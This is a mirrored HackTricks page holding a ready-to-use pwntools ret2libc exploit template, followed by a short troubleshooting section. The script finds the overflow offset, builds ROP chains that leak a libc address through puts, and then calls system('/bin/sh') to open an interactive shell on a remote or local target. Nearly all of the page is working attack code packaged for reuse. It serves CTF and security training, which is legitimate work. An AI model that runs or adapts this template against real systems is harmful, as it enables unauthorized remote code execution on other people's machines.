mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
251 lines
8.2 KiB
Markdown
251 lines
8.2 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
{% code title="template.py" %}
|
|
```python
|
|
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
|
|
|
|
|
###################
|
|
### CONNECTION ####
|
|
###################
|
|
LOCAL = False
|
|
REMOTETTCP = True
|
|
REMOTESSH = False
|
|
GDB = False
|
|
USE_ONE_GADGET = False
|
|
|
|
LOCAL_BIN = "./vuln"
|
|
REMOTE_BIN = "~/vuln" #For ssh
|
|
LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
|
|
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
|
|
|
|
if LOCAL:
|
|
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
|
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
|
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
|
|
|
elif REMOTETTCP:
|
|
P = remote('10.10.10.10',1339) # start the vuln binary
|
|
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
|
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
|
|
|
elif REMOTESSH:
|
|
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
|
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
|
elf = ELF(LOCAL_BIN)# Extract data from binary
|
|
rop = ROP(elf)# Find ROP gadgets
|
|
|
|
if GDB and not REMOTETTCP and not REMOTESSH:
|
|
# attach gdb and continue
|
|
# You can set breakpoints, for example "break *main"
|
|
gdb.attach(P.pid, "b *main")
|
|
|
|
|
|
|
|
#########################
|
|
#### OFFSET FINDER ######
|
|
#########################
|
|
|
|
OFFSET = b"" #b"A"*264
|
|
if OFFSET == b"":
|
|
gdb.attach(P.pid, "c") #Attach and continue
|
|
payload = cyclic(264)
|
|
payload += b"AAAAAAAA"
|
|
print(P.clean())
|
|
P.sendline(payload)
|
|
#x/wx $rsp -- Search for bytes that crashed the application
|
|
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
|
P.interactive()
|
|
exit()
|
|
|
|
|
|
|
|
####################
|
|
### Find Gadgets ###
|
|
####################
|
|
try:
|
|
libc_func = "puts"
|
|
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
|
except:
|
|
libc_func = "printf"
|
|
PUTS_PLT = ELF_LOADED.plt['printf']
|
|
|
|
MAIN_PLT = ELF_LOADED.symbols['main']
|
|
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
|
RET = (ROP_LOADED.find_gadget(['ret']))[0]
|
|
|
|
log.info("Main start: " + hex(MAIN_PLT))
|
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
|
log.info("ret gadget: " + hex(RET))
|
|
|
|
|
|
########################
|
|
### Find LIBC offset ###
|
|
########################
|
|
|
|
def generate_payload_aligned(rop):
|
|
payload1 = OFFSET + rop
|
|
if (len(payload1) % 16) == 0:
|
|
return payload1
|
|
|
|
else:
|
|
payload2 = OFFSET + p64(RET) + rop
|
|
if (len(payload2) % 16) == 0:
|
|
log.info("Payload aligned successfully")
|
|
return payload2
|
|
else:
|
|
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
|
return payload1
|
|
|
|
|
|
def get_addr(libc_func):
|
|
FUNC_GOT = ELF_LOADED.got[libc_func]
|
|
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
|
# Create rop chain
|
|
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
rop1 = generate_payload_aligned(rop1)
|
|
|
|
# Send our rop-chain payload
|
|
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
|
print(P.clean()) # clean socket buffer (read all and print)
|
|
P.sendline(rop1)
|
|
|
|
# If binary is echoing back the payload, remove that message
|
|
recieved = P.recvline().strip()
|
|
if OFFSET[:30] in recieved:
|
|
recieved = P.recvline().strip()
|
|
|
|
# Parse leaked address
|
|
log.info(f"Len rop1: {len(rop1)}")
|
|
leak = u64(recieved.ljust(8, b"\x00"))
|
|
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
|
|
|
# Set lib base address
|
|
if LIBC:
|
|
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
|
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
|
log.info("LIBC base @ %s" % hex(LIBC.address))
|
|
|
|
# If not LIBC yet, stop here
|
|
else:
|
|
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
|
P.interactive()
|
|
|
|
return hex(leak)
|
|
|
|
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
|
|
|
|
|
|
|
#############################
|
|
#### FINAL EXPLOITATION #####
|
|
#############################
|
|
|
|
## Via One_gadget (https://github.com/david942j/one_gadget)
|
|
# gem install one_gadget
|
|
def get_one_gadgets(libc):
|
|
import string, subprocess
|
|
args = ["one_gadget", "-r"]
|
|
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
|
args += ["-b", libc.hex()]
|
|
else:
|
|
args += [libc]
|
|
try:
|
|
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
|
except:
|
|
print("One_gadget isn't installed")
|
|
one_gadgets = []
|
|
return
|
|
|
|
rop2 = b""
|
|
if USE_ONE_GADGET:
|
|
one_gadgets = get_one_gadgets(LIBC)
|
|
if one_gadgets:
|
|
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
|
|
|
## Normal/Long exploitation
|
|
if not rop2:
|
|
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
|
SYSTEM = LIBC.sym["system"]
|
|
EXIT = LIBC.sym["exit"]
|
|
|
|
log.info("POP_RDI %s " % hex(POP_RDI))
|
|
log.info("bin/sh %s " % hex(BINSH))
|
|
log.info("system %s " % hex(SYSTEM))
|
|
log.info("exit %s " % hex(EXIT))
|
|
|
|
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
|
rop2 = generate_payload_aligned(rop2)
|
|
|
|
|
|
print(P.clean())
|
|
P.sendline(rop2)
|
|
|
|
P.interactive() #Interact with your shell :)
|
|
```
|
|
{% endcode %}
|
|
|
|
# Common problems
|
|
|
|
## MAIN\_PLT = elf.symbols\['main'] not found
|
|
|
|
If the "main" symbol does not exist. Then you can just where is the main code:
|
|
|
|
```python
|
|
objdump -d vuln_binary | grep "\.text"
|
|
Disassembly of section .text:
|
|
0000000000401080 <.text>:
|
|
```
|
|
|
|
and set the address manually:
|
|
|
|
```python
|
|
MAIN_PLT = 0x401080
|
|
```
|
|
|
|
## Puts not found
|
|
|
|
If the binary is not using Puts you should check if it is using
|
|
|
|
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
|
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|